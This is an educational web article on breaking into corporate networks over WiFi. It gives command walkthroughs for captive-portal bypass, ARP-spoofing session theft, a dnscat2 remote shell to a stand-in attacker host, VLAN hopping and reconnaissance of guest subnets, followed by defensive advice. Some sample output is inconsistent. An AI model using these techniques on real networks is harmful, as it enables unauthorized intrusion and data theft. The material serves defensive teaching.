WiFi Attack
Network Infiltration Attacks
Technical documentation on Network Infiltration via WiFi. Understand the attack technique and learn how to defend against it.
Medium Threat
Intermediate
Firewalls, VPNs, and email security gateways are designed to inspect traffic entering and leaving the network perimeter. But WiFi operates at a different layer — it bypasses most perimeter controls entirely. When a device connects to a corporate or guest WiFi network, it is inside the network, regardless of what firewalls sit between it and the internet.
The anatomy of WiFi-based initial access works like this:
- Attacker identifies a WiFi network within range — corporate, guest, contractor, or IoT
- Attacker obtains valid credentials or finds an open network with no authentication requirement
- Attacker connects to the network and receives an IP address on the internal subnet
- Attacker performs post-connection reconnaissance to identify accessible services, devices, and trust relationships
- Attacker exploits misconfigurations, default credentials, or unpatched vulnerabilities to expand access
The Guest Network Myth
Most organizations rely on guest networks to isolate untrusted devices. But guest network segmentation is frequently misconfigured. Many guest networks are placed on the same Layer 2 segment as corporate devices, with only ACLs preventing cross-VLAN traffic. If those ACLs are misconfigured, missing, or can be bypassed via ARP spoofing, a guest network device can reach corporate resources directly.
Bypassing Captive Portals
Captive portals are the most common WiFi access control mechanism in public and guest environments. When a user connects, their browser is redirected to a login or terms-of-service page before internet access is granted. Bypassing them is a core skill for WiFi-based penetration testing.
Method 1: MAC Address Spoofing
Many captive portal systems authenticate devices by MAC address after the first login. If a legitimate device has already authenticated, you can spoof its MAC address to inherit its session.
$ # Identify an authenticated device on the network $ sudo airodump-ng wlan0mon CH 6 ][ Elapsed: 45 s ][ 2026-04-07 11:00 BSSID STATION PWR Rate Frames Notes Probes DE:AD:BE:EF:00:01 AA:BB:CC:DD:EE:FF -52 54e-54e 87 Corp-Device-1 DE:AD:BE:EF:00:01 11:22:33:44:55:66 -61 54e-54e 23 Corp-Device-2 [Note the MAC of an authenticated device: AA:BB:CC:DD:EE:FF] $ # Bring interface down, spoof the MAC, bring it back up $ sudo ip link set wlan0 down $ sudo macchanger -m AA:BB:CC:DD:EE:FF wlan0 Current MAC: 00:11:22:33:44:55 (unknown) Faked MAC: AA:BB:CC:DD:EE:FF (unknown) [Now associate with the network using the spoofed MAC] $ sudo ip link set wlan0 up $ sudo iw dev wlan0 connect "Guest-Network" [Portal bypassed — MAC is already authenticated]
Method 2: Portal Authentication Abuses
Some captive portals use predictable session tokens or fail to properly validate timeouts. A penetration tester can identify the session cookie or token after a legitimate login, then replay it from their own device to inherit the authenticated session.
$ # After legitimate user logs in, capture their session cookie via ARP spoofing $ sudo ettercap -T -M arp:remote -i eth0 /192.168.1.1// /192.168.1.100// ettercap NG-0.8.3.2 [Sniffing] Unified sniffing -- Branch mode: REMOTE [... traffic passes through attacker ...] # Extract session cookie from captured HTTP traffic $ sudo tcpdump -i eth0 -A 'tcp port 80' | grep -i "Cookie:" Cookie: portal_session=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.abc123xyz [Replay this session cookie in your browser to bypass the portal]
Method 3: DNS Tunneling Past the Portal
If the captive portal only filters HTTP traffic but allows DNS, a DNS tunneling tool like dnscat2 or iodine can encapsulate data inside DNS queries and responses. This doesn't give full internet access, but it creates a command-and-control channel that bypasses the portal entirely.
$ # Set up a DNS tunneling server (attacker-controlled VPS) $ # On the attacker's server: $ dnscat2-server --dns="port=5353,domain=tunnel.attacker.com" [Waiting for DNS connections from victim...] $ # On the victim/client machine: $ dnscat2-client --dns server=tunnel.attacker.com --secret=supersecret [Encrypted shell session tunneled through DNS queries] [Portal has no idea what's happening — all traffic is DNS]
VLAN Hopping from WiFi
Virtual Local Area Networks (VLANs) are the primary mechanism for segmenting traffic on corporate networks. WiFi networks are typically assigned to specific VLANs — guest VLANs for visitors, corporate VLANs for employees, and management VLANs for infrastructure. If an attacker can hop from their assigned VLAN to another, they bypass the entire segmentation strategy.
Switch Spoofing (Double-Tagging)
Most enterprise switches support 802.1Q trunk ports, which carry traffic from multiple VLANs over a single physical connection. An attacker can exploit trunk negotiation protocols like DTP (Dynamic Trunking Protocol) to force a switch port into trunk mode, then tag their packets with a target VLAN ID. This is known as double-tagging VLAN hopping.
$ # Force the switch port into trunk mode using Yersinia $ sudo yersinia -I [Yersinia graphical interface] # Select interface eth0, then: attacks > 802.1Q > enable trunking $ # Or using Scapy to send a DTP packet: $ python3 -c " from scapy.all import * pkt = Dot1Q(vlan=1) / Dot1Q(vlan=10) / IP(dst='10.10.10.50') send(pkt) " [Packet arrives at trunk port with double VLAN tag] [Switch strips outer tag (vlan=1), forwards on inner tag (vlan=10)] [Attacker now reaches VLAN 10 from VLAN 1]WiFi-to-Wired VLAN Hopping
Even without trunk spoofing, many WiFi deployments assign all connected clients to the same VLAN regardless of user role. If the WiFi network is on VLAN 100, an attacker who compromises the WPA2 password is on the same VLAN as every other WiFi user — including potentially other corporate users who have access to sensitive resources.
WiFi + Default Gateway = Full Corporate SubnetOn many poorly segmented corporate WiFi deployments, the entire wireless user population shares a single VLAN with the corporate internal subnet. This means an attacker who cracks the WPA2 password doesn't just get access to "guest WiFi" — they get an IP address in the same subnet as file servers, domain controllers, and application servers. The firewall is irrelevant because they're already inside the trusted network segment.
From Guest WiFi to Corporate Resources
The trust boundary between guest WiFi and corporate resources is one of the most frequently misconfigured aspects of enterprise network architecture. Common attack paths include:
Discovering the Internal Network
Once connected to guest WiFi, an attacker can immediately begin scanning the local subnet. Most guest networks use RFC 1918 address space (10.x.x.x, 172.16.x.x, 192.168.x.x), and the default gateway is almost always a Cisco, Ubiquiti, or MikroTik device with a web management interface accessible from the guest VLAN.
$ # Get IP address and identify the gateway $ ip addr show wlan0 inet 10.100.100.42/24 brd 10.100.100.255 scope global wlan0 $ ip route show default default via 10.100.100.1 dev wlan0 $ # Quick Nmap scan of the entire guest subnet $ nmap -sn 10.100.100.0/24 -oG guest_scan.gnmap Host: 10.100.100.1 (gateway) -- Ports: 22/open, 80/open, 443/open, 8080/open Host: 10.100.100.10 -- Ports: 135,139,445/open (Windows host) Host: 10.100.100.15 -- Ports: 22/open (Linux server) Host: 10.100.100.25 -- Ports: 80/open, 443/open (web application) [Several hosts are directly reachable from the guest network]$ # Aggressive port scan of the gateway itself $ nmap -sS -sV -p- -T4 10.100.100.1 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4 (protocol 2.0) 80/tcp open http MikroTik RouterOS http config 443/tcp open ssl/http MikroTik RouterOS https config 8080/tcp open http-proxy [MikroTik router with exposed management interface — default creds may work] $ # Try default credentials against the web interface $ curl -k -u admin:mikrotik https://10.100.100.1/rest interface print [If default credentials work, you can reconfigure the router from here] [Router reconfiguration could redirect all traffic through attacker-controlled gateway]Discovering Corporate Subnets
Even if direct access to corporate subnets is blocked by ACLs at the gateway, the attacker can probe the gateway's routing table to identify other subnets reachable through it.
$ # Use IPv6 neighbor discovery or SNMP to find routes $ snmpwalk -v2c -c public 10.100.100.1 .1.3.6.1.2.1.4.21.1 IP-MIB::ipRouteDest.10.0.0.0 = IpAddress: 10.0.0.0 IP-MIB::ipRouteIfIndex.10.0.0.0 = INTEGER: 2 IP-MIB::ipRouteMetric.10.0.0.0 = INTEGER: 10 IP-MIB::ipRouteNextHop.10.0.0.0 = IpAddress: 10.0.0.1 [Routing table reveals: 10.0.0.0/8 corporate network reachable via gateway] [Guest-to-corporate routing exists — is it ACL'd or wide open?] $ # Try to reach a corporate host directly $ ping -c 2 10.10.50.25 64 bytes from 10.10.50.25: icmp_seq=0 ttl=63 time=1.2 ms 64 bytes from 10.10.50.25: icmp_seq=1 ttl=63 time=1.5 ms [Corporate host reachable — ACLs may not be properly configured]Post-Connection Reconnaissance
Once inside any network segment, the first 30 minutes of post-connection reconnaissance are the most important. This is where an attacker maps the network, identifies high-value targets, and determines the fastest path to sensitive data or privileged access.
$ # NetBIOS discovery — find Windows hostnames on the subnet $ nbtscan -r 10.100.100.0/24 10.100.100.10 CORP-DC01 SHARING DC 10.100.100.11 CORP-FILE01 SHARING 10.100.100.15 DEV-JUMPHOST SHARING 10.100.100.20 CORP-SQL-PROD SHARING [Domain controller, file server, and production SQL server discovered] $ # Enumerate SMB shares (no creds needed for null session on many configs) $ smbclient -L //10.100.100.10 -N Domain=[CORP-DOMAIN] OS=[Windows Server 2019 Standard 17763] Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC HR-FILES Disk HR Department BACKUP Disk Nightly backups [Unauthenticated access to domain controller shares] [Browse HR-FILES for salary data, BACKUP for credential databases]$ # Identify the domain name via DNS reverse lookup on the gateway $ nslookup 10.100.100.1 Server: dns.corp.internal Address: 10.100.100.1 corp.internal $ # Discover domain controllers via DNS SRV records $ nslookup -type=srv _ldap._tcp.dc._msdcs.corp.internal _ldap._tcp.dc._msdcs.corp.internal SRV service location: priority = 0 weight = 100 port = 389 host = corp-dc01.corp.internal [Domain: corp.internal — DC: corp-dc01.corp.internal — now you know where to aim]Real Scenario: Guest WiFi to Domain Admin
A red team was engaged to test a healthcare organization with a "completely isolated" guest WiFi network. The rules of engagement prohibited physical access to the building and any social engineering — only WiFi-based attacks from the parking lot were in scope.
The team first audited the guest network. The WPA2 password was a simple combination of the organization's name and the current year ("HealthCorp2026") — found on a job posting that mentioned "our open guest WiFi makes it easy for visitors to get online."
Once connected, the team scanned the guest subnet and found it was a standard 10.200.0.0/16 range with the MikroTik gateway providing DHCP. Port 161 (SNMP) on the gateway was open with community string
public. Usingsnmpwalk, the team extracted the full routing table, which revealed that the entire corporate network (10.0.0.0/8) was reachable through the same gateway — the guest-to-corporate ACL was not actually applied.From there, the team identified a Windows jump host at 10.0.5.20 that was reachable and running an old version of OpenSSH with a known CVE. A public exploit gave them a low-privilege shell as a service account.
Through the jump host, they accessed an internal share containing a configuration file with a service account password reused across multiple systems. That service account had local administrator rights on a build server, which ran a CI/CD pipeline with a vulnerable Jenkins instance. The Jenkins credentials led to the domain admin token.
Total time from parking lot to domain admin: 6 hours, 14 minutes. Total WiFi-only access required.
Defending Against WiFi Network Infiltration
- Use strong, unique WPA2/WPA3 passwords: Not dictionary-based, not based on company name or obvious patterns. Rotate guest WiFi passwords quarterly or upon employee departure.
- Enforce genuine network segmentation between VLANs: Don't rely on a single router's ACL to separate guest from corporate. Use dedicated firewall rules with explicit deny statements, not default permits.
- Disable DTP and force trunk ports to explicit configurations: Prevent switch spoofing attacks by disabling dynamic trunking protocol on all access ports.
- Disable SNMP v1/v2c or change default community strings: Use SNMPv3 with authentication, or at minimum change all community strings from
public/private. - Implement 802.1X for WiFi and wired access: Certificate-based authentication prevents password cracking from leading directly to network access.
- Monitor for rogue APs and unexpected internal hosts: A WIDS or NAC solution can detect when unauthorized devices connect to the network.
- Harden management interfaces: Close management interfaces (SSH, HTTP, SNMP) to the guest VLAN and all other untrusted subnets. Require jump hosts or VPN for management access.
Understand the Threat. Build the Defense.
Learn how to protect yourself and your organization against Network Infiltration attacks.